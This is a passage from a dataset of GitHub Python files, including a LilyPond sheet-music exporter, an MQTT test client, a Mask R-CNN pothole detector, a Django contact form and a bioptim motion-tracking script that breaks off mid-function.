triplet is not None:\n return triplet, -3\n\n # Check regular lengths\n current_length -= bar_length * (current_length // bar_length)\n across_bars = max(0, (current_length + val) - bar_length)\n val -= across_bars\n\n i = bar_length\n while i >= 0.5:\n if val >= i:\n return i, val - i + across_bars\n i /= 2\n\n raise ValueError(f\"Could not find biggest divisor for {val}\")\n\n\ndef _get_lilypond_staff(\n score: Score,\n octave_offset: int,\n bar_length: int = 16,\n beats_per_whole: int = 16,\n repeat: bool = False,\n anacrusis: int = 0,\n fill_end: bool = True,\n time_base: int = 4,\n bars: Optional[Dict[IntFloat, str]] = None,\n) -> str:\n \"\"\"\n Convert score to lilypond format.\n\n :param score: Score to convert\n :param octave_offset: Relative up/down transposition by an octave\n :param bar_length: Length of a bar in beats\n :param beats_per_whole: Beats per whole note\n :param repeat: Whether to add repeat at end of staff\n :param anacrusis: Anacrusis/pickup in beats\n :param fill_end: Whether to fill the end with rests up to the next full bar\n :param time_base: Base duration for time signature\n :param bars: Additional bars (e.g., repeats) to add\n \"\"\"\n notes = []\n total_dur = 0\n\n time_multiplier = bar_length / beats_per_whole\n notes.append(\n LilyPondCommand(f\"\\\\time {time_base * time_multiplier:.0f}/{time_base}\\n\")\n )\n\n if bars is None:\n bars = {}\n\n if anacrusis > 0:\n assert anacrusis < bar_length\n total_dur = -anacrusis\n lp_anacrusis = beats_per_whole / anacrusis\n assert lp_anacrusis.is_integer()\n notes.append(LilyPondCommand(f\"\\\\partial {int(lp_anacrusis)}\"))\n\n # Keep track of tuplets\n tuplet_cnt = None\n tuplet_len = None\n\n def _add_lilypond_note(note: Note):\n nonlocal total_dur\n nonlocal tuplet_cnt\n nonlocal tuplet_len\n\n note = note.with_octave_offset(octave_offset)\n\n div = 0 # current duration of note written\n rem = note.dur # remaning duration of note\n while rem > 0:\n div_prev = div\n # Determine longest part of note we could write\n div, rem = _get_biggest_divisor(rem, total_dur, bar_length)\n\n if tuplet_len is None and rem < 0:\n tuplet_cnt = -rem\n tuplet_len = -rem\n notes.append(\n LilyPondCommand(\n f\"\\\\tuplet {tuplet_len:.0f}/{tuplet_len - 1:.0f} {{\"\n )\n )\n\n if tuplet_len is not None:\n assert -rem == tuplet_len\n tuplet_cnt -= 1\n\n if div == div_prev / 2:\n if total_dur % bar_length == 0:\n # Across bars\n notes.append(\n LilyPondNote(note.note, note.octave, dur=beats_per_whole / div)\n )\n else:\n notes[-1].make_untied()\n notes[-1].add_dot()\n else:\n notes.append(\n LilyPondNote(note.note, note.octave, dur=beats_per_whole / div)\n )\n\n # Add tie\n if rem > 0 and note.note != \"r\":\n notes[-1].make_tied()\n\n if tuplet_len is not None:\n # Correct before adding to total_dur\n div *= (tuplet_len - 1) / tuplet_len\n\n total_dur = align_duration(total_dur + div)\n\n if total_dur / bar_length in bars:\n notes.append(LilyPondBar(bars[total_dur / bar_length]))\n\n if tuplet_cnt == 0:\n # Close tuplet\n assert is_close_to_round(total_dur, 1)\n total_dur = round(total_dur, 1)\n tuplet_cnt = None\n tuplet_len = None\n notes.append(LilyPondCommand(\"}\"))\n\n if total_dur % bar_length == 0 and not isinstance(notes[-1], LilyPondBar):\n notes.append(LilyPondBar())\n\n for note in score:\n _add_lilypond_note(note)\n\n if anacrusis > 0 and repeat:\n # Handle anacrusis\n lp_anacrusis = beats_per_whole / anacrusis\n assert lp_anacrusis.is_integer()\n lpc = LilyPondCommand(f\"\\\\partial {int(lp_anacrusis)}\")\n notes.append(lpc)\n\n total_dur += anacrusis\n if total_dur % bar_length == 0:\n notes.append(LilyPondBar())\n\n if fill_end and total_dur % bar_length != 0:\n rem_dur = bar_length - total_dur % bar_length\n _add_lilypond_note(Note(note=\"r\", octave=None, dur=rem_dur))\n\n assert isinstance(notes[-1], LilyPondBar)\n notes[-1].make_end(repeat)\n\n _logger.info(\"Staff with total duration %d\", total_dur)\n\n return \"{\\n \" + \" \".join(str(note) for note in notes) + \"}\"\n\n\ndef _get_lilypond_grouping(\n grouping: GroupingType, key: Tuple[str, str], midi: bool, tempo: int\n) -> str:\n \"\"\"\n Get lilypond staff grouping.\n\n :param grouping: List of list with voices per staff\n :param key: Key as (tonic, mode)\n :param midi: Whether to request midi output\n :param tempo: Tempo (only used for midi)\n \"\"\"\n abc = string.ascii_uppercase\n out = \"\\\\score {\\n \\\\new GrandStaff <<\"\n\n key_cmd = f\"\\\\key {key[0]} \\\\{key[1]}\"\n for staff in grouping:\n if staff.part_combine:\n out += (\n \"\\n \\\\new Staff \\\\with { printPartCombineTexts = ##f } \"\n + f\"{{\\\\clef {staff.clef} {key_cmd} <<\\\\partCombine \"\n + \" \".join([f\"\\\\channel{abc[i]}\" for i in staff.channels])\n + \">>}\"\n )\n else:\n out += (\n f\"\\n \\\\new Staff {{\\\\clef {staff.clef} {key_cmd} <<\"\n + \" \\\\\\\\ \".join([f\"\\\\channel{abc[i]}\" for i in staff.channels])\n + \">>}\"\n )\n out += \"\\n >>\"\n if midi:\n out += f\"\\n \\\\midi {{\\\\tempo 4 = {tempo:d}}}\"\n return out + \"\\n}\"\n\n\ndef dump_scores_lilypond(\n scores: ScoresType,\n pth: str,\n sheets_config: Dict[str, Any],\n octave_offset: int = -3,\n midi: bool = False,\n header_args: Dict[str, Any] = None,\n paper_args: Dict[str, Any] = None,\n) -> None:\n \"\"\"\n Dump score to lilypond file.\n\n :param scores: Scores to dump\n :param pth: Output path\n :param sheets_config: Sheet music config\n :param midi: Whether to request midi output\n :param header_args: Arguments for lilypond header\n :param paper_args: Arguments for lilypond paper\n \"\"\"\n grouping = parse_grouping(sheets_config)\n tempo = sheets_config.get(\"tempo\", 80)\n key = sheets_config.get(\"key\", get_most_likely_key(scores))\n\n with open(pth, \"w\") as f:\n f.write('\\\\version \"2.22.2\"')\n f.write(\"\\n\" + _get_lilypond_paper(**(paper_args or {})))\n f.write(\"\\n\" + _get_lilypond_header(**(header_args or {})))\n\n abc = string.ascii_uppercase\n channels = [voice for staff in grouping for voice in staff.channels]\n for i, score in enumerate(scores):\n if i in channels: # skip voices that are not in grouping\n staff = _get_lilypond_staff(\n score, octave_offset, **sheets_config.get(\"staff_args\", {})\n )\n f.write(f\"\\nchannel{abc[i]} = {staff}\")\n\n f.write(\n \"\\n\" + _get_lilypond_grouping(grouping, key=key, midi=midi, tempo=tempo)\n )\n","repo_name":"swbg/bitsheets","sub_path":"src/bitsheets/lilypond.py","file_name":"lilypond.py","file_ext":"py","file_size_in_byte":12270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12382266719","text":"import time\n\n\nclass Tracker:\n def __init__(self, name: str):\n self.name = name\n self.per_minute = 0\n\n\nclass Metrics:\n def __init__(self, elapsed: int=None):\n self.timestamp = time.time()\n self.time_elapsed = elapsed if elapsed else 0\n self.trackers = {}\n\n def get_rate(self, name: str) -> float:\n if self.trackers.get(name):\n return self.trackers[name].per_minute\n return -1\n\n def get_time_elapsed(self) -> str:\n if self.time_elapsed == 0:\n return \"00:00:00\"\n t = self.time_elapsed\n hours = int(t/3600)\n t -= int(hours*3600)\n minutes = int(t/60)\n t -= int(minutes*60)\n return str(hours) + \"h:\" + str(minutes) + \"m:\" + str(int(t)) + \"s\"\n\n def update(self, name: str, amount: int, paused: bool) -> None:\n if not paused:\n self.time_elapsed += time.time() - self.timestamp\n self.timestamp = time.time()\n if self.trackers.get(name):\n self.trackers[name].per_minute = self._calculate_per_minute(amount)\n\n def create_tracker(self, name: str) -> None:\n self.trackers[name] = Tracker(name)\n\n def _calculate_per_minute(self, amount: int) -> float:\n if self.time_elapsed == 0:\n return 0\n return amount / (self.time_elapsed/60)\n","repo_name":"sbwhitt/pygame-life-simulation","sub_path":"src/tracking/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25961574939","text":"import asyncio\nfrom asyncio import StreamReader, StreamWriter\nfrom main import ConnectPacket\n\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\nlog = logging.getLogger(__name__)\n\n\nclass MQTTException(Exception):\n pass\n\n\nasync def read_packet(reader: StreamReader):\n control_byte = await reader.read(1)\n length_byte = await reader.read(1)\n length = (length_byte[0])\n packet = await reader.read(length)\n print(bin(control_byte[0]), packet)\n\n\nasync def write_packet(writer: StreamWriter, packet: bytes, packet_type):\n # Write the packet length\n packet_length = len(packet)\n while True:\n encoded_byte = packet_length % 128\n packet_length //= 128\n if packet_length > 0:\n encoded_byte |= 0x80\n print(encoded_byte, bytes([encoded_byte]))\n packet = bytes([encoded_byte]) + packet\n if packet_length <= 0:\n break\n # # Write the packet\n packet = bytes([packet_type]) + packet\n writer.write(packet)\n await writer.drain()\n\n\nasync def write_connect(writer: StreamWriter):\n packet = ConnectPacket(5, 60, \"test\", username=\"asdlkfal;sdksdfasadfaadsfadfafasdfljaldkfjal;sdfjal;sdfj;lasjdfasdfasdlfjasasdfafasdfasdlkfjlkdfjaldfdd\").to_bytes()\n writer.write(packet)\n await writer.drain()\n\n\nasync def main():\n reader, writer = await asyncio.open_connection('172.30.0.2', 1883)\n\n # Send CONNECT\n \n # await write_packet(writer, b'\\x00\\x04MQTT\\x04\\x86\\x00\\x3c\\x00\\x08client12', CONNECT)\n await write_connect(writer)\n # # Receive CONNACK\n # packet = await read_packet(reader)\n # print(packet)\n # # Send PUBLISH\n # await write_packet(writer, b'\\x00\\x05topic\\x00\\x05hello')\n # # Receive PUBACK\n # packet = await read_packet(reader)\n # print(packet)\n # # Send DISCONNECT\n # await write_packet(writer, b'\\xe0\\x00')\n # writer.close()\n # await writer.wait_closed()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"raushanraja/tg_mqtt_at","sub_path":"mqttc/rough.py","file_name":"rough.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14948263023","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"sherlock-connector\",\n version=\"0.0.1\",\n author=\"Sherlock Protocol\",\n author_email=\"dev@sherlock.xyz\",\n description=\"Connector for Sherlock V1\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://sherlock.xyz/\",\n packages=setuptools.find_packages(),\n entry_points={\n \"console_scripts\": [\n \"shercon = cli.shercon:cli\",\n ],\n },\n install_requires=[\n \"click==7.1.2\",\n \"requests==2.25.1\",\n \"pyyaml==5.4.1\"\n ],\n python_requires='>=3.6',\n)\n","repo_name":"Evert0x/SherlockConnector","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"14755261070","text":"from __future__ import unicode_literals\n\nfrom prompt_toolkit.validation import Validator, ValidationError\n\n\nclass PythonValidator(Validator):\n def validate(self, document):\n \"\"\"\n Check input for Python syntax errors.\n \"\"\"\n try:\n compile(document.text, '', 'exec')\n except SyntaxError as e:\n # Note, the 'or 1' for offset is required because Python 2.7\n # gives `None` as offset in case of '4=4' as input. (Looks like\n # fixed in Python 3.)\n index = document.translate_row_col_to_index(e.lineno - 1, (e.offset or 1) - 1)\n raise ValidationError(index, 'Syntax Error')\n except TypeError as e:\n # e.g. \"compile() expected string without null bytes\"\n raise ValidationError(0, str(e))\n","repo_name":"hanwei2008/ENV","sub_path":"VEScrapy/lib/python2.7/site-packages/ptpython/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12024572373","text":"from mrcnn import model as modellib, utils\nfrom mrcnn.config import Config\n\nimport os\nimport sys\nimport json\nimport datetime\nimport numpy as np\nimport skimage.draw\nimport cv2\nfrom mrcnn.visualize import display_instances\nimport matplotlib.pyplot as plt\nfrom numpyencoder import NumpyEncoder\nfrom keras.backend import clear_session\n\nrng = np.random\n\n# Root directory of the project\nROOT_DIR = os.path.dirname(os.path.realpath(__file__))\nDEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, \"logs\")\n\nclass CustomConfig(Config):\n NAME = \"damage\"\n IMAGES_PER_GPU = 3\n NUM_CLASSES = 1 + 1 # Background + 1 Pothole\n STEPS_PER_EPOCH = 1000\n VALIDATION_STEPS = 50\n # Skip detections with < 90% confidence\n # DETECTION_MIN_CONFIDENCE = 0.9\n # IMAGE_MAX_DIM=800\n # IMAGE_MIN_DIM=800\n\ndef color_splash(image, mask):\n \"\"\"Apply color splash effect.\n image: RGB image [height, width, 3]\n mask: instance segmentation mask [height, width, instance count]\n\n Returns result image.\n \"\"\"\n # Make a grayscale copy of the image. The grayscale copy still\n # has 3 RGB channels, though.\n gray = skimage.color.gray2rgb(skimage.color.rgb2gray(image)) * 255\n # We're treating all instances as one, so collapse the mask into one layer\n mask = (np.sum(mask, -1, keepdims=True) >= 1)\n # Copy color pixels from the original color image where mask is set\n if mask.shape[0] > 0:\n splash = np.where(mask, image, gray).astype(np.uint8)\n else:\n splash = gray\n return splash\n\n# weights file to load\nweights_path = \"mask_rcnn_damage_0160.h5\"\nprint(\"Weights: \", weights_path)\nprint(\"Logs: \", DEFAULT_LOGS_DIR)\n\n# Configurations\nclass InferenceConfig(CustomConfig):\n # Set batch size to 1 since we'll be running inference on\n # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\nconfig = InferenceConfig()\nconfig.display()\n\n# Create model\nglobal model\nmodel = modellib.MaskRCNN(mode=\"inference\", config=config, model_dir=DEFAULT_LOGS_DIR)\n\n\n# Load weights\nprint(\"Loading weights \", weights_path)\nmodel.load_weights(weights_path, by_name=True)\nmodel.keras_model._make_predict_function()\n\n\ndef detect_and_color_splash(image_path=None):\n global model\n #print(model)\n assert image_path\n\n # Run model detection and generate the color splash effect\n print(\"Running on {}\".format(image_path))\n # Read image\n image = skimage.io.imread(image_path)\n # Remove alpha channel, if it has one\n #if image.shape[-1] == 4:\n # image = image[..., :3]\n # Detect objects\n r = model.detect([image], verbose=1)[0]\n \n # Color splash\n splash = color_splash(image, r['masks'])\n\n for i in range(len(r['rois'])):\n color = (57, 255, 20)\n # get coordinates\n y1, x1, y2, x2 = r['rois'][i]\n # calculate width and height of the box\n width, height = x2 - x1, y2 - y1\n cv2.rectangle(splash, (x1,y1), (x2,y2), color, 2)\n cv2.putText(splash, str(i+1), (x1, y1-10), cv2.FONT_HERSHEY_SIMPLEX, 0.9, color, 2)\n\n #with open('data.json', 'w') as outfile:\n # json.dump(r, outfile, cls=NumpyEncoder)\n \n # Save output\n\n # file_name = \"splash2_{:%Y%m%dT%H%M%S}.png\".format(datetime.datetime.now())\n # skimage.io.imsave(file_name, image)\n\n file_name = \"current_masked.jpg\"\n skimage.io.imsave(file_name, splash)\n #print(\"Saved to \", file_name)\n\n del r['masks']\n\n return r\n\nif __name__ == '__main__':\n detect_and_color_splash('current.jpg')","repo_name":"rvnd96/SRMMS-FinalYearProject-pothole-analyzer","sub_path":"pothole.py","file_name":"pothole.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35819658823","text":"\"\"\"this code calculates the sum of the posts posted\"\"\"\nimport logging\nimport glob\nimport os\nimport csv\nimport sys\nimport pandas as pd\n\nlogging.basicConfig(stream=sys.stdout, format='%(message)s', level=logging.CRITICAL)\ndef sum_post(file_name):\n \"\"\"SUM POST\"\"\"\n for filename in glob.glob(os.path.join(f\"{file_name}\", '*.csv')):\n csv_file = pd.read_csv(filename)\n csv_file.to_json(filename.replace(\"csv\", \"json\"), orient=\"records\")\n sum_like = 0\n try:\n for json_like in csv_file[\"Begeni\"]:\n like = sum_like+int(json_like)\n sum_like = like\n except:# pylint: disable=bare-except\n pass\n\n sum_commnet = 0\n for com in csv_file[\"Yorum\"]:\n comment = sum_commnet+int(com)\n sum_commnet = comment\n\n sum_share = 0\n for sha in csv_file[\"Yorum\"]:\n share = sum_share+int(sha)\n sum_share = share\n\n header = ['ToplamBegeni', 'ToplamYorum', 'ToplamPaylasim']\n data = [sum_like, sum_commnet, sum_share]\n path = f\"{file_name}/bot-facebook_sum.csv\"\n with open(path, 'w') as write:\n writer = csv.writer(write)\n writer.writerow(header)\n writer.writerow(data)\n\nif len(sys.argv[2]) != 3:\n logging.critical(\"CRITICAL : You entered a non-format input for example =>> python bot_facebook.py --dir DOM OR OCR\")\nelse:\n sum_post(sys.argv[2])\n","repo_name":"YeldaSertt/bot_facebook","sub_path":"sum_post.py","file_name":"sum_post.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39942046046","text":"import unittest\n\nfrom dataset import UDDataSet, UNK\n\n\nclass UDDataSetTest(unittest.TestCase):\n def test(self):\n train_ds = UDDataSet('data/en-ud-train.conllu')\n test_ds = UDDataSet('data/en-ud-dev.conllu', train_ds)\n\n self.assertEqual(UNK, train_ds.lookup_word('UNKDSF'))\n self.assertEqual(train_ds.pos, test_ds.pos)\n self.assertEqual(train_ds.words, test_ds.words)\n\n self.assertEqual(6, train_ds.lookup_pos(\"ADP\"))\n\n def test_find_word(self):\n train_ds = UDDataSet('data/en-ud-train.conllu')\n print(train_ds.idx2word(121))\n print(train_ds.lookup_pos(\"PART\"))\n","repo_name":"harperjiang/TTIC31210","sub_path":"hw3/test_dataset.py","file_name":"test_dataset.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71800226982","text":"import sys\r\ndef main_program():\r\n print(\"------------------------------------------------------\")\r\n print(\"---------------PYTHON MRS CALCULATOR------------------\")\r\n print(\"------------------------------------------------------\")\r\n print(\"--------Accepted Utility Functions and Formats--------\")\r\n print(\"Cobb Douglas: ax^c * by^d\")\r\n print(\"CES: ax^b + by^d\")\r\n print(\"Perfect Substitutes: ax + by\")\r\n print(\"Perfect Complements: min(ax^c, by^d)\")\r\n print(\"Quasi-Linear: ax^c + y\")\r\n print(\"------------------------------------------------------\")\r\n print(\"-------------------Additional Notes-------------------\")\r\n print(\"Please ensure you use x and y respectively so that the\")\r\n print(\"program can function properly.\")\r\n print(\"The 'y =' at the start is not needed, please just type\")\r\n print(\"your utility function in the formats given above.\")\r\n print(\"------------------------------------------------------\")\r\n\r\n user_selection = str(input(\"Please enter the utility function you wish to calculate the MRS for, or 'EXIT' to exit. >>> \"))\r\n\r\n if (user_selection.count(\"^\") == 2) & (user_selection.__contains__(\"*\")):\r\n print(MRS.cobb_douglas(user_selection))\r\n main_program()\r\n elif (user_selection.count(\"^\") == 2):\r\n print(MRS.ces(user_selection))\r\n main_program()\r\n elif (user_selection.count(\"^\") == 0) & (user_selection.__contains__(\"+\")):\r\n print(MRS.p_subs(user_selection))\r\n main_program()\r\n elif (user_selection.startswith(\"min\")):\r\n print(MRS.p_comps(user_selection))\r\n main_program()\r\n elif (user_selection.count(\"^\") == 1):\r\n print(MRS.quasi_linear(user_selection))\r\n main_program()\r\n elif user_selection == \"EXIT\":\r\n print(\"Thanks for using the program, hope it was helpful!\")\r\n sys.exit()\r\n else:\r\n print(\"Invalid Utility Function.\")\r\n main_program()\r\n\r\ndef signed_coefficient(coefficient: float) -> float:\r\n \"\"\"Helper function for parse_utility to rightfully assign a variable of 1 or -1 depending on the coefficient's sign.\r\n \"\"\"\r\n if coefficient == \"\":\r\n coefficient = \"1.0\"\r\n elif coefficient == \"-\":\r\n coefficient = \"-1.0\"\r\n return coefficient\r\n\r\ndef parse_utility(utility_function: str) -> list:\r\n \"\"\"Helper function to parse a given utility function.\r\n Returns a list with the coefficients and exponents for x and y.\r\n \"\"\"\r\n x_coef = utility_function[:utility_function.find(\"x\")]\r\n x_coef = signed_coefficient(x_coef) # check for signed coefficients\r\n y_coef = utility_function[utility_function.rfind(\" \") + 1:utility_function.find(\"y\")]\r\n y_coef = signed_coefficient(y_coef)\r\n\r\n x_exp = utility_function[utility_function.find(\"^\") + 1:utility_function.find(\" \")]\r\n y_exp = utility_function[utility_function.rfind(\"^\") + 1:]\r\n\r\n return [x_coef, x_exp, y_coef, y_exp]\r\n\r\nclass MRS:\r\n def cobb_douglas(utility_function: str) -> float:\r\n \"\"\"Calculates and returns the MRS for a Cobb Douglas as a float.\r\n Format: ax^c * by^d, where d = 1 - c\r\n \"\"\"\r\n cd_values = parse_utility(utility_function)\r\n x_exp = float(cd_values[1])\r\n y_exp = float(cd_values[3])\r\n\r\n condition = 1 - float(x_exp)\r\n\r\n if float(y_exp) == condition: # check d = 1 - c condition\r\n return str((format((x_exp)/(y_exp), '.2f'))) + \"(y/x)\"\r\n return \"Invalid Cobb Douglas utility function. Exponents must sum up to 1.\"\r\n\r\n def ces(utility_function: str) -> float:\r\n \"\"\"Calculates and returns the MRS for a CES function as a float.\r\n Format: ax^c + by^d, where c = d\r\n \"\"\"\r\n ces_values = parse_utility(utility_function)\r\n x_coef = float(ces_values[0])\r\n x_exp = float(ces_values[1])\r\n y_coef = float(ces_values[2])\r\n y_exp = float(ces_values[3])\r\n\r\n derivative_exp = -1*(x_exp - 1)\r\n\r\n if float(x_exp) == float(y_exp): # check c = d condition\r\n return str(format((x_coef*x_exp)/(y_coef*y_exp), '.2f')) + \"(y/x)^\" + str(derivative_exp)\r\n return \"Invalid CES utility function. Exponents must be the same.\"\r\n\r\n def p_subs(utility_function: str) -> int:\r\n \"\"\"Calculates the MRS for a Perfect Substitute function.\r\n Format: ax + by\r\n \"\"\"\r\n p_subs_values = parse_utility(utility_function)\r\n x_coef = float(p_subs_values[0])\r\n y_coef = float(p_subs_values[2])\r\n\r\n return str(format((x_coef/y_coef), '.2f'))\r\n\r\n def p_comps(utility_function: str) -> int:\r\n \"\"\"Calculates the MRS for a Perfect Complement function.\r\n Format: min(ax^c, by^d)\r\n \"\"\"\r\n trim_utility = utility_function[4:-1] # split utility_function to omit \"min(...)\"\r\n p_comps_values = parse_utility(trim_utility)\r\n\r\n x_coef = float(p_comps_values[0])\r\n x_exp = trim_utility[trim_utility.find(\"^\") + 1:trim_utility.find(\",\")] # new way to extract values, since format different\r\n if \"x\" in x_exp:\r\n x_exp = 1.0\r\n y_coef = float(p_comps_values[2])\r\n y_exp = trim_utility[trim_utility.rfind(\"^\") + 1:]\r\n if \"y\" in y_exp:\r\n y_exp = 1.0\r\n\r\n return str(x_coef) + \"x^\" + str(x_exp) + \" = \" + str(y_coef) + \"y^\" + str(y_exp) + \", simplify for tangency condition.\"\r\n\r\n def quasi_linear(utility_function: str) -> int:\r\n \"\"\"Calculates the MRS for a Quasi-Linear function.\r\n Format: ax^c + y\r\n \"\"\"\r\n quasi_linear_values = parse_utility(utility_function)\r\n x_coef = float(quasi_linear_values[0])\r\n x_exp = float(quasi_linear_values[1])\r\n y_coef = float(quasi_linear_values[2])\r\n\r\n derivative_exp = x_exp - 1\r\n\r\n return str(format(((x_coef*x_exp)/y_coef), '.2f')) + \"x^\" + str(derivative_exp)\r\n\r\nif __name__ == '__main__':\r\n main_program()","repo_name":"aleezaarefeen/Python-MRS-Calculator","sub_path":"mrs.py","file_name":"mrs.py","file_ext":"py","file_size_in_byte":5908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9101489339","text":"from typing import List\nimport string\n\n\nclass Solution:\n def cellsInRange(self, s: str) -> List[str]:\n answer = []\n letters = string.ascii_uppercase\n first = s.split(\":\")[0]\n last = s.split(\":\")[1]\n first_col, first_row = first[0], int(first[1])\n last_col, last_row = last[0], int(last[1])\n columns = letters[letters.index(first_col): letters.index(last_col) + 1]\n\n for i in columns:\n for j in range(first_row, last_row + 1):\n answer.append(i + str(j))\n return answer\n\n\nanswer = Solution()\nprint(answer.cellsInRange(\"A1:F2\"))","repo_name":"bnutfilloyev/LeetCode","sub_path":"Algorithms/python/CellsInARangeOnAnExcelSheet/cells-in-a-range-on-an-excel-sheet.py","file_name":"cells-in-a-range-on-an-excel-sheet.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"3347953282","text":"from django.core.mail import send_mail, BadHeaderError\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom .models import Contact\nfrom .forms import ContactForm\n\n# Create your views here.\ndef contactView(request):\n form = ContactForm()\n if request.method == 'POST':\n first_name = request.POST['first_name']\n last_name = request.POST['last_name']\n email = request.POST['email']\n message = request.POST['message']\n phone = request.POST['phone']\n date = request.POST['date']\n\n contact = Contact(first_name=first_name, last_name=last_name, email=email, phone=phone, message=message, date=date)\n contact.save()\n\n send_mail('ORDER EQUIRY',\n f'There has been an enquiry from {last_name}, {first_name}. \\n Message: {message} \\n Delivery date: {date} \\n Phone: {phone}',\n email,\n ['neupytechng@gmail.com'],\n fail_silently=False)\n\n return redirect('contact:success')\n else:\n form = ContactForm()\n context = {\n 'title': 'Contact Us',\n 'form': form\n }\n return render(request, \"contact/contact.html\", context)\n\n\ndef successView(request):\n context = {\n 'title': 'Success!',\n }\n return render(request, 'contact/success.html', context)\n\n","repo_name":"mrpyrex/jasminesite","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41883510584","text":"import biorbd_casadi as biorbd\nfrom bioptim import (\n OptimalControlProgram,\n DynamicsFcn,\n ObjectiveList,\n ObjectiveFcn,\n OdeSolver,\n Dynamics,\n InitialGuessList,\n BoundsList,\n Solver,\n CostType,\n InterpolationType,\n Node,\n BiorbdModel,\n)\n\nimport numpy as np\nfrom data.enums import Tasks\nimport data.load_events as load_events\nfrom models.enums import Models\nfrom models.biorbd_model import NewModel\nimport tracking.load_experimental_data as load_experimental_data\n\n\ndef prepare_ocp(\n biorbd_model_path: str,\n n_shooting: int,\n x_init_ref: np.array,\n u_init_ref: np.array,\n target: any,\n ode_solver: OdeSolver = OdeSolver.RK4(),\n use_sx: bool = False,\n n_threads: int = 16,\n phase_time: float = 1,\n) -> OptimalControlProgram:\n biorbd_model = BiorbdModel(biorbd_model_path)\n\n # Add objective functions\n objective_functions = ObjectiveList()\n objective_functions.add(ObjectiveFcn.Lagrange.MINIMIZE_CONTROL, key=\"tau\", weight=3)\n objective_functions.add(\n ObjectiveFcn.Lagrange.MINIMIZE_CONTROL, key=\"tau\", index=range(5), weight=100, derivative=True\n )\n objective_functions.add(\n ObjectiveFcn.Lagrange.MINIMIZE_CONTROL, key=\"tau\", index=range(5, 10), weight=1000, derivative=True\n )\n objective_functions.add(ObjectiveFcn.Lagrange.MINIMIZE_STATE, key=\"qdot\", weight=5000)\n objective_functions.add(ObjectiveFcn.Lagrange.MINIMIZE_STATE, key=\"q\", index=[0, 1, 2, 3, 4], weight=10000)\n objective_functions.add(\n ObjectiveFcn.Mayer.TRACK_MARKERS, weight=1000, marker_index=[10, 12, 13, 14, 15], target=target, node=Node.ALL\n )\n\n # Dynamics\n dynamics = Dynamics(DynamicsFcn.TORQUE_DRIVEN, expand=False)\n\n # initial guesses\n x_init = InitialGuessList()\n x_init.add(\"q\", x_init_ref[:biorbd_model.nb_q, :], interpolation=InterpolationType.EACH_FRAME)\n x_init.add(\"qdot\", x_init_ref[biorbd_model.nb_q: biorbd_model.nb_q + biorbd_model.nb_qdot, :],\n interpolation=InterpolationType.EACH_FRAME)\n\n u_init = InitialGuessList()\n u_init.add(\"tau\", u_init_ref, interpolation=InterpolationType.EACH_FRAME)\n\n # Define control path constraint\n x_bounds = BoundsList()\n x_bounds[\"q\"] = biorbd_model.bounds_from_ranges(\"q\")\n x_bounds[\"q\"][:, 0] = x_init_ref[:10, 0]\n x_bounds[\"q\"][:, -1] = x_init_ref[:10, -1]\n\n x_bounds[\"qdot\"] = biorbd_model.bounds_from_ranges(\"qdot\")\n x_bounds[\"qdot\"].min[:, 0] = [-1e-3] * biorbd_model.nb_qdot\n x_bounds[\"qdot\"].max[:, 0] = [1e-3] * biorbd_model.nb_qdot\n x_bounds[\"qdot\"].min[:, -1] = [-1e-1] * biorbd_model.nb_qdot\n x_bounds[\"qdot\"].max[:, -1] = [1e-1] * biorbd_model.nb_qdot\n\n n_tau = biorbd_model.nb_tau\n tau_min, tau_max = -100, 100\n u_bounds = BoundsList()\n u_bounds[\"tau\"] = [tau_min] * n_tau, [tau_max] * n_tau\n u_bounds[\"tau\"].min[:2, :], u_bounds[\"tau\"].max[:2, :] = -30, 30\n u_bounds[\"tau\"].min[2:5, :], u_bounds[\"tau\"].max[2:5, :] = -50, 50\n u_bounds[\"tau\"].min[5:8, :], u_bounds[\"tau\"].max[5:8, :] = -70, 70\n u_bounds[\"tau\"].min[8:, :], u_bounds[\"tau\"].max[8:, :] = -40, 40\n\n return OptimalControlProgram(\n biorbd_model,\n dynamics,\n n_shooting,\n phase_time=phase_time,\n x_init=x_init,\n u_init=u_init,\n x_bounds=x_bounds,\n u_bounds=u_bounds,\n objective_functions=objective_functions,\n ode_solver=ode_solver,\n n_threads=n_threads,\n use_sx=use_sx,\n assume_phase_dynamics=True,\n )\n\n\ndef main(task: Tasks = None):\n \"\"\"\n Get data, then create a tracking problem, and finally solve it and plot some relevant information\n \"\"\"\n\n # Define the problem\n n_shooting_points = 100\n nb_iteration = 3000\n\n task_files = 